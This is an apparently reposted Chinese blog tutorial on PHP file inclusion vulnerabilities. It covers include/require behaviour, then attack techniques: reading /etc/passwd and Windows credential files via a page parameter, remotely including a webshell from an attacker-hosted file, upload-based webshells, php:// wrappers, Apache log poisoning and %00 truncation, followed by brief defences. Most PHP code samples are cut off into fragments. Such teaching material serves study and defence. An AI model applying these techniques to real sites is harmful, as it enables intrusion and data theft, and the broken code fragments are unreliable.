文件包含
发布日期:2021-05-08 16:32:45 浏览次数:21 分类:精选文章

本文共 2838 字,大约阅读时间需要 9 分钟。

包含漏洞原理解析

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。这种灵活性使得开发者能够动态调用文件,但也带来了潜在的安全隐患——客户端可以调用恶意文件,导致文件包含漏洞。

文件包含漏洞在PHP Web Application中较为常见,而在JSP、ASP、ASP.NET等语言中却非常少甚至没有,这与语言设计的特点密切相关,而非开发人员的技术水平。


PHP文件包含特点

PHP语言提供了四个文件包含函数:include()include_once()require()require_once()。这些函数的主要区别在于文件查找方式和错误处理机制:

  • require:无法找到文件时会抛出致命错误,脚本执行中止。
  • include:无法找到文件时只生成警告,脚本继续执行。
  • include_once:与include()类似,但如果文件已被包含则不会重复包含。
  • require_once:与require()类似,但如果文件已被包含则不会重复包含。

文件包含分为本地包含和远程包含两种形式。以下是具体示例:

本地包含示例

ArrayUtil.php(数组操作函数库)文件内容如下:

", $lin = "
") {
echo "$key $sp $value $lin";
}
?>

Index.php文件包含ArrayUtil.php并使用PrintArr函数:

");
?>

执行后输出结果为:

0 ==>> 张三
1 ==>> 李四
2 ==>> 王五

phpinfo.txt是一个正常文本文件,内容为:

Index.php中包含phpinfo.txt

访问Index.php会执行phpinfo()函数。将phpinfo.txt的扩展名改为.jpg.rar.xxx.doc等测试,仍能显示PHP信息。这表明只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。但如果包含非PHP语法规范源文件,会暴露源码。

远程包含示例

PHP支持对远程文件的包含,但默认需在php.ini中启用allow_url_include选项。远程包含示例:

  • 远程PHP文件:http://xxx.com/根目录下存在php.txt,内容为:

  • 远程包含示例:http://www.xxx.com/Index.php?page=https://xxx.com/php.txt,访问时会包含远程PHP文件。


PHP文件包含利用

文件包含漏洞可以用于多种攻击方式,以下是常见场景:

1. 读取敏感文件

目标主机文件存在且有权限,访问URL如http://xxx.com/index.php?page=/etc/passwd可读取敏感文件内容。常见敏感文件路径包括:

  • Windows系统
    • C:\boot.ini
    • C:\windows\system32\inetsrv\MetaBase.xml
    • C:\windows\repair\sam
    • C:\Program File\mysql\my.ini
    • C:\Program File\mysql\data\mysql\suer.MYD
    • C:\windows\php.ini
    • C:\winodws\my.ini
  • UNIX/Linux系统
    • /etc/pass
    • /userlocal/app/apache2/conf/httpd.conf
    • /userlocal/app/apache2/conf/extra/httpd-vhosts.conf
    • /usr/local/app/php5/lib/php.ini
    • /etc/http/conf/httpd.conf
    • /etc/my.cnf

2. 远程包含Shell

如果目标主机支持allow_url_fopen,可以尝试远程包含一句话木马。例如,在自己网站下挂echo.txt,内容为:

");
?>

访问目标网站URL如http://xxx.index?page=http://my.com/echo.txt,会在目标网站目录下生成shell.php

3. 本地包含配合文件上传

许多网站提供文件上传功能,攻击者可上传一句话木马至服务器路径如/upload/1.jpg,内容为:

");
?>

访问该目录可生成shell.php

4. 使用PHP封装协议

PHP支持多种URL风格封装协议,包括:

  • file://:访问本地文件系统
  • http://:访问HTTP(s)网址
  • ftp://:访问FTP(s)URLs
  • php://:访问输入/输出流(I/O streams)
  • zlib://:访问压缩流
  • data://:访问数据
  • ssh2://:访问Secure shell 2
  • expect://:处理交互式流
  • glob://:查找匹配的文件路径

示例:

  • 使用php://filter/read=convert.base64/resource=config.php访问URL可读取Base64加密字符串。
  • 使用php://input执行PHP语句,但需注意allow_url_include选项。

5. 包含Apache日志文件

Apache默认生成access.logerror.log,记录客户端请求信息。当访问不存在资源如http://XXX.com/?<?php\phpinfo();?>时,Apache会记录请求信息到日志文件。攻击者可通过包含日志文件获取敏感信息。

6. 截断包含

固定扩展名可以修复包含漏洞。例如,传输News.php时将page参数设为New,但攻击者可通过 %00截断将参数设为1.jpg%00,绕过扩展名检查。

7. 绕过WAF防火墙

文件包含有时用于制作后门。攻击者可创建一句话木马图片,如1.jpg,内容为:

");
?>

访问该图片路径可生成shell.php,成为潜在后门。


JSP文件包含特点

JSP文件包含主要分为静态包含和动态包含:

  • 静态包含<%@ include file="..." %>指令只能包含已存在服务器上的文件,无文件包含漏洞。
  • 动态包含<jsp:include> </jsp:include>可包含动态文件,但默认不支持文件包含漏洞。

因此,JSP文件包含漏洞较少甚至没有,与语言设计特点有关,而非开发人员技术水平。


文件包含防护

  • 限制文件包含功能:在php.ini中设置allow_url_include=Off,默认禁用远程包含。
  • 本地包含防护:检查文件扩展名,确保传输的文件名无特殊字符。
  • 防止文件包含木马:使用防病毒工具扫描上传的文件,监控服务器目录。
  • 日志监控:定期查看Apache日志,监控异常访问。
  • 代码审计:定期检查核心文件,发现可利用的漏洞。
  • 上一篇:CSRF漏洞
    下一篇:命令执行漏洞

    发表评论

    最新留言

    感谢大佬
    [***.8.128.20]2025年04月28日 21时42分06秒

    关于作者

        喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
    -- 愿君每日到此一游!

    推荐文章

    2023年失业的你明白了什么道理? 2025-03-29
    2023应届毕业生找不到工作很焦虑怎么办? 2025-03-29
    2023最新版Node.js下载安装及环境配置教程(非常详细)从零基础入门到精通,看完这一篇就够了 2025-03-29
    2023网络安全现状,一个(黑客)真实的收入 2025-03-29
    2024 年需要了解的顶级大数据工具(非常详细)零基础入门到精通,收藏这一篇就够了 2025-03-29
    2024 最新 Kali Linux 定制化魔改,完整版,添加常见60渗透工具,零基础入门到精通,收藏这篇就够了 2025-03-29
    2024大模型行业应用十大典范案例集(非常详细)零基础入门到精通,收藏这一篇就够了 2025-03-29
    2024届秋招让我(985本硕)直接破防,感觉书读了这么久结果毫无意义,读书就只为了读书,我该怎么办? 2025-03-29
    2024年专业介绍||现代通信技术,从零基础到精通,收藏这篇就够了! 2025-03-29
    2024年为什么越来越多的人选择转行网络安全?零基础入门到精通,收藏这篇就够了 2025-03-29
    2024年从零学习AI和深度学习Transformer的路线图(非常详细)零基础入门到精通,收藏这一篇就够了 2025-03-29
    006从零开始学Python—自定义函数 2025-03-29
    2024年全球顶尖杀毒软件,从零基础到精通,收藏这篇就够了! 2025-03-29
    2024年度“金智奖”揭晓:绿盟科技获双项大奖,创新驱动网络安全新高度。从零基础到精通,收藏这篇就够了! 2025-03-29
    2024年最流行的十大开源渗透测试工具 2025-03-29
    005从零开始学Python—字符串处理 2025-03-29
    2024年网络安全八大前沿趋势,零基础入门到精通,收藏这篇就够了 2025-03-29
    2024年薪酬最高的五个网络安全职位,零基础入门到精通,收藏这一篇就够 2025-03-29
    2024年非科班的人合适转行做程序员吗? 2025-03-29
    2024数字安全创新性案例报告,从零基础到精通,收藏这篇就够了! 2025-03-29